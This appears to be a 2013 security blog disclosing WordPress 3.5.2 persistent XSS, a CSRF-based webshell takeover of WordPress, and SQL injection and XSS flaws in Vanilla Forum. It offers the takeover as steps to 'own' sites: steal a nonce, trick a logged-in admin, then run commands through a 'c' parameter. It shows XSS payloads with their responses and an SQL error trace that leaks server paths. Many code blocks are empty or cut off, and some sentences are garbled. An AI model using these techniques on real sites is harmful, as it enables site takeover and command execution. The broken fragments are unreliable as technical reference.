Saturday, 20 July 2013

[EN] Wordpress 3.5.2 - Persistent XSS


another persistent XSS mentioned here is located in 'avatar' section in Wordpress.

Check it out:

---< code >---
POST /wp/wordpress/wp-admin/options.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 608

---< code >---
Response with stored XSS:
---< code >--- 
<li id="wp-admin-bar-new-user"><a class="ab-item"  
 </li></ul></div>  </li></ul><ul id="wp-admin-bar-top-secondary" class="ab-top-secondary ab-top-menu">
<li id="wp-admin-bar-my-account" class="menupop with-avatar"><a class="ab-item" 
 aria-haspopup="true" href="" 
 title="My Account">Howdy, admin<img alt='' 
 class='avatar avatar-16 photo' height='16' width='16' /></a><div class="ab-sub-wrapper"><ul id="wp-admin-bar-user-actions" class="ab-submenu">
<li id="wp-admin-bar-user-info"><a class="ab-item" 
---< code >--- 

Enjoy ;)


[EN] Wordpress 3.5.2 Hacked


Because Wordpress don't give a shit about bug mentioned 3 weeks ago, here you have
a few-steps to own latest version.

It should be mentioned that to exploit this vulnerability we need few things (but
as a 'btw': in 3.5.2 version we have also few other vulnerabilities like persistent XSS
for example and this 'drop-shell'-exploiting, can be done by those (xss) bugs).


To make this vulnerability possible to exploit, you will need:
- file from theme (404.php) writable
- you must get (steal) valid '_wpnonce' value.

Here we go. Below is the poc-code:

Next you need to send your 'poc-page' to logged-in admin user
(who is still logged-in when visiting your page).

Now, 'you' (as this logged-in admin;) ) will see page like this:

And next thing to do is go to not-available postID, like this
one below for example, and add (to 'c' parameter) your command.

That's all. :)

If you have any questions, feel free to ask.

Cheers o/

Wednesday, 17 July 2013

[EN] Vanilla Forum SQL Injection 0day - Updated

Durning one of my projects related to webapp security testing
I found an interesting 0day vulnerability in Vanilla Forum.

Below is the screen with the vulnerable parameter.

As I saw durning information gathering, here is another one
SQL Injection vulnerability, so it is a similar story.

(This time) this bug can be reproducet in and version.

Check it out:

Proof of concept will not be public right now.

* Update (after 1h) *

After some code review I found that in admin panel we have also SQL Injection
vulnerability. Beside, a lots of XSS (stored/reflected, whatever).

* Update 19.07.2013 *

Below you'll find a description of few other vulnerabilities found in this (latest)
version of Vanilla Forum.

  • XSS when adding new discusion
To exploits this vulnerability, request should looks like this:

---< code >---
POST /vc/index.php?p=/post/discussion HTTP/1.1
Cache-Control: no-cache

Closed&DeliveryType=VIEW&DeliveryMethod=JSON&Discussion/Post_Discussion=Post Discussion
---< code >---

After this request you will see response contains XSS code:

---< code >---
{"DiscussionID":"77","DraftID":"'\"<img src=x
---< code >---

  •  Another XSS - this time in comments:

 ---< code >---
POST /vc/index.php?p=/vanilla/post/comment/1 HTTP/1.1
Cache-Control: no-cache

---< code >---

And response:
---< code >---
Ajax"}],"CommentID":"131","DraftID":"'\"`<img src=x onerror=alert(2)>","MyDrafts":"My Drafts",
---< code >---

  • Nice persistent XSS - when editing roles ('description' is vulnerable):

Response for this one:
---< code >---

            <a href="/vc/index.php?p=/role/edit/2" class="SmallButton">Edit</a>         </div>
      <td class="Alt">'>"><body onload=alert(/4321/)></td>
   <tr id="4" class="Alt">
---< code >---

Another SQL Injection bug - this time located in admin panel:

---< code >---
POST /vc/index.php?p=/dashboard/settings/bans&Page=11111111111111111111111& HTTP/1.1
Connection: close

---< code >---

Check the response:
---< code >---
HTTP/1.1 500 Internal Server Error
Date: Wed, 17 Jul 2013 13:10:25 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Vary: Accept-Encoding
Content-Length: 1633
Connection: close
Content-Type: text/html; charset=utf-8

<h1>FATAL ERROR IN: Gdn_Database.Query();</h1>
<div class="AjaxError">"You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to
 use near '2.2222222222222E+23, 20' at line 5"

select Ban.*, iu.Name as `InsertName`
from GDN_Ban Ban
left join GDN_User iu on Ban.InsertUserID = iu.UserID
order by BanType, BanValue asc
limit 2.2222222222222E+23, 20
LOCATION: /var/www/vc/library/database/class.database.php
> 283:          $PDOStatement = $this->Connection()->query($Sql);
> 284:       }
> 285:
> 286:       if ($PDOStatement === FALSE) {
>>> 287:          trigger_error(ErrorMessage($this->GetPDOErrorMessage($this->Connection()->errorInfo()), $this->ClassName, 'Query', $Sql), E_USER_ERROR);
> 288:       }
> 289:     
> 290:       // Did this query modify data in any way?
> 291:       if ($ReturnType == 'ID') {
[/var/www/vc/library/database/class.database.php] PHP::Gdn_ErrorHandler();
[/var/www/vc/library/database/class.database.php 287] PHP::trigger_error();
[/var/www/vc/library/database/class.sqldriver.php 1657] Gdn_Database->Query();
[/var/www/vc/library/database/class.sqldriver.php 941] Gdn_SQLDriver->Query();
[/var/www/vc/library/core/class.model.php 383] Gdn_SQLDriver->GetWhere();
[/var/www/vc/applications/dashboard/controllers/class.settingscontroller.php 275] Gdn_Model->GetWhere();
[/var/www/vc/applications/dashboard/controllers/class.settingscontroller.php 275] SettingsController->Bans();
[/var/www/vc/library/core/class.dispatcher.php 322] PHP::call_user_func_array();
[/var/www/vc/index.php 53] Gdn_Dispatcher->Dispatch();
---< code >---

So as you can see we have here also information disclosure bug,
because attacker will see full path to Vanilla-instalation.

If you have any questions, or want to test your web/infrastructure,
just mail me your question(s). I will answer ASAP.

Enjoy ;)